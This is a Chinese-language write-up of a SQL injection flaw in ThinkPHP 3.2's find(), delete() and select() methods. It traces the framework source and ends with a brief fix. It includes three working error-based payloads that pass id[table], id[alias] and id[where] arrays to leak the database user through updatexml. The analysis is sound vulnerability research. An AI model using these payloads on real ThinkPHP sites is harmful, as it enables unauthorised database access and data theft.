thinkphp3.2 find注入
控制器代码:
public function index(){ $id=I('id'); $res=M('users')->find($id); dump($res); }
复现:
payload:
id[table]=users where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
分析:
1、find函数
1 public function find($options=array()) { 2 if(is_numeric($options) || is_string($options)) { 3 $where[$this->getPk()] = $options; 4 $options = array(); 5 $options['where'] = $where; 6 } 7 // 根据复合主键查找记录 8 $pk = $this->getPk(); 9 if (is_array($options) && (count($options) > 0) && is_array($pk)) { 10 // 根据复合主键查询 11 $count = 0; 12 foreach (array_keys($options) as $key) { 13 if (is_int($key)) $count++; 14 } 15 if ($count == count($pk)) { 16 $i = 0; 17 foreach ($pk as $field) { 18 $where[$field] = $options[$i]; 19 unset($options[$i++]); 20 } 21 $options['where'] = $where; 22 } else { 23 return false; 24 } 25 } 26 // 总是查找一条记录 27 $options['limit'] = 1; 28 // 分析表达式 29 $options = $this->_parseOptions($options); 30 // 判断查询缓存 31 if(isset($options['cache'])){ 32 $cache = $options['cache']; 33 $key = is_string($cache['key'])?$cache['key']:md5(serialize($options)); 34 $data = S($key,'',$cache); 35 if(false !== $data){ 36 $this->data = $data; 37 return $data; 38 } 39 } 40 $resultSet = $this->db->select($options); 41 if(false === $resultSet) { 42 return false; 43 } 44 if(empty($resultSet)) {// 查询结果为空 45 return null; 46 } 47 if(is_string($resultSet)){ 48 return $resultSet; 49 } 50 51 // 读取数据后的处理 52 $data = $this->_read_data($resultSet[0]); 53 $this->_after_find($data,$options); 54 if(!empty($this->options['result'])) { 55 return $this->returnResult($data,$this->options['result']); 56 } 57 $this->data = $data; 58 if(isset($cache)){ 59 S($key,$data,$cache); 60 } 61 return $this->data; 62 }
我们输入的的id[where]为数组,所以就可以跳过第二行的所执行的内容,如果正常输入则会将使变量option['where']赋一个数组,当我们跳过这里的赋值时,也就跳过了第29行中
_parseOptions函数中对字段类型验证的判断。
第29行传入了options变量也就时说我们对options变量可控,而第40行中执行了options中的sql语句,所以实现sql注入
2、_parseOptions函数分析
1 protected function _parseOptions($options=array()) { 2 if(is_array($options)) 3 $options = array_merge($this->options,$options); 4 5 if(!isset($options['table'])){ 6 // 自动获取表名 7 $options['table'] = $this->getTableName(); 8 $fields = $this->fields; 9 }else{ 10 // 指定数据表 则重新获取字段列表 但不支持类型检测 11 $fields = $this->getDbFields(); 12 } 13 14 // 数据表别名 15 if(!empty($options['alias'])) { 16 $options['table'] .= ' '.$options['alias']; 17 } 18 // 记录操作的模型名称 19 $options['model'] = $this->name; 20 21 // 字段类型验证 22 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { 23 // 对数组查询条件进行字段类型检查 24 foreach ($options['where'] as $key=>$val){ 25 $key = trim($key); 26 if(in_array($key,$fields,true)){ 27 if(is_scalar($val)) { 28 $this->_parseType($options['where'],$key); 29 } 30 }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){ 31 if(!empty($this->options['strict'])){ 32 E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); 33 } 34 unset($options['where'][$key]); 35 } 36 } 37 } 38 // 查询过后清空sql表达式组装 避免影响下次查询 39 $this->options = array(); 40 // 表达式过滤 41 $this->_options_filter($options); 42 return $options; 43 }
第15、16行将options['alias']的值加在了options['table']后面,而在之后sql语句替换中可以将options['table']的值替换到sql语句当中的,所以也可以sql注入
第22行中由于options绕过了开头的if判断,所以options['where']不再是数组,所以这里也就绕过了字符类型判断
3、select函数分析
1 public function select($options=array()) { 2 $this->model = $options['model']; 3 $this->parseBind(!empty($options['bind'])?$options['bind']:array()); 4 $sql = $this->buildSelectSql($options); 5 $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); 6 return $result; 7 }
这里主要是buildSelectSql函数对sql语句的建立
4、buildSelectSql函数分析
1 public function buildSelectSql($options=array()) { 2 if(isset($options['page'])) { 3 // 根据页数计算limit 4 list($page,$listRows) = $options['page']; 5 $page = $page>0 ? $page : 1; 6 $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20); 7 $offset = $listRows*($page-1); 8 $options['limit'] = $offset.','.$listRows; 9 } 10 $sql = $this->parseSql($this->selectSql,$options); 11 return $sql; 12 }
5、parseSql函数分析
1 public function parseSql($sql,$options=array()){ 2 $sql = str_replace( 3 array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), 4 array( 5 $this->parseTable($options['table']), 6 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), 7 $this->parseField(!empty($options['field'])?$options['field']:'*'), 8 $this->parseJoin(!empty($options['join'])?$options['join']:''), 9 $this->parseWhere(!empty($options['where'])?$options['where']:''), 10 $this->parseGroup(!empty($options['group'])?$options['group']:''), 11 $this->parseHaving(!empty($options['having'])?$options['having']:''), 12 $this->parseOrder(!empty($options['order'])?$options['order']:''), 13 $this->parseLimit(!empty($options['limit'])?$options['limit']:''), 14 $this->parseUnion(!empty($options['union'])?$options['union']:''), 15 $this->parseLock(isset($options['lock'])?$options['lock']:false), 16 $this->parseComment(!empty($options['comment'])?$options['comment']:''), 17 $this->parseForce(!empty($options['force'])?$options['force']:'') 18 ),$sql); 19 return $sql; 20 }
这里将options中的值进行查找替换,所以很多值都可以进行替换这里我们输入的时where,在parseWhere函数中将%where%的值替换
最终得到执行的sql语句:
delete
,find
,select这三个函数都具有此漏洞
防护:
将传入的$option修改成$this->options,同时不对$options进行表达式分析,使options不可控,这里主要是通过_parseOptions函数对options的表达式分析之后形成sql注入。